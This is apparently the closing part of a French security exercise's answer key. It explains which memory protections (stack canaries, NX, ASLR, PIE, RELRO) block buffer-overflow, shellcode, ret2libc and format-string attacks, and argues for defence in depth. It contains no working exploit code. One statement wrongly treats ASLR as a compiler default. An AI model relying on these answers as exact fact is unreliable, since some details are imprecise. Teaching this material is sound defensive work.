- ***Full RELRO / format string*** *: empêche la réécriture de la GOT mais pas d'autres cibles en mémoire.*

6c) *Combinaison minimale :*
Stack canaries + NX + ASLR *bloquent les 4 attaques :*

- *Overflow → secret() : bloqué par* ***stack canaries*** *(l'écrasement du canari est détecté)*
- *Shellcode injection : bloqué par* ***NX*** *(pile non exécutable) et* ***stack canaries***
- *Ret2libc : bloqué par* ***ASLR*** *(adresses de la libc imprévisibles) et* ***stack canaries***
- *Format string `%n` : l'écriture est plus difficile avec* ***ASLR*** *(adresses cibles inconnues), mais les canaries ne protègent pas directement. Cependant, avec ASLR + PIE, les adresses des variables globales sont aussi randomisées.*

En pratique, la combinaison ***Stack canaries + NX + ASLR + PIE*** *offre une couverture robuste.*

6d) *La défense en profondeur reste nécessaire car :*

- *Chaque protection individuelle a des* ***limites connues*** *: les fuites d'information (`%p`, timing side-channels) contournent l'ASLR, les chaînes ROP contournent NX, les écritures partielles contournent les canaries.*

- *L'attaquant doit* ***enchaîner plusieurs contournements*** *quand plusieurs protections sont actives. La probabilité de succès diminue multiplicativement.*
- *Les nouvelles vulnérabilités et techniques d'exploitation sont découvertes régulièrement. Une protection considérée comme robuste aujourd'hui pourrait être contournée demain.*
- *Les compilateurs modernes (`gcc`, `clang`) activent par défaut* ***toutes*** *ces protections (stack canaries, NX, ASLR, PIE, partial RELRO). Le développeur doit explicitement les désactiver (comme dans ce TD) pour permettre les attaques.*

Point clé à retenir

- ***Aucune protection seule ne suffit*** *: stack canaries ne bloquent pas les format strings, NX ne bloque pas ret2libc, ASLR est contournable par les fuites d'information.*
- *La* ***défense en profondeur*** *force l'attaquant à contourner plusieurs mécanismes simultanément, augmentant considérablement la difficulté.*
- *Les compilateurs modernes activent* ***toutes*** *ces protections par défaut. Dans ce TD, nous les avons désactivées une par une pour comprendre leur rôle.*
- *La meilleure défense reste d'****écrire du code sûr*** *: utiliser `fgets()` au lieu de `gets()`, `snprintf()` au lieu de `sprintf()`, et toujours valider les entrées.*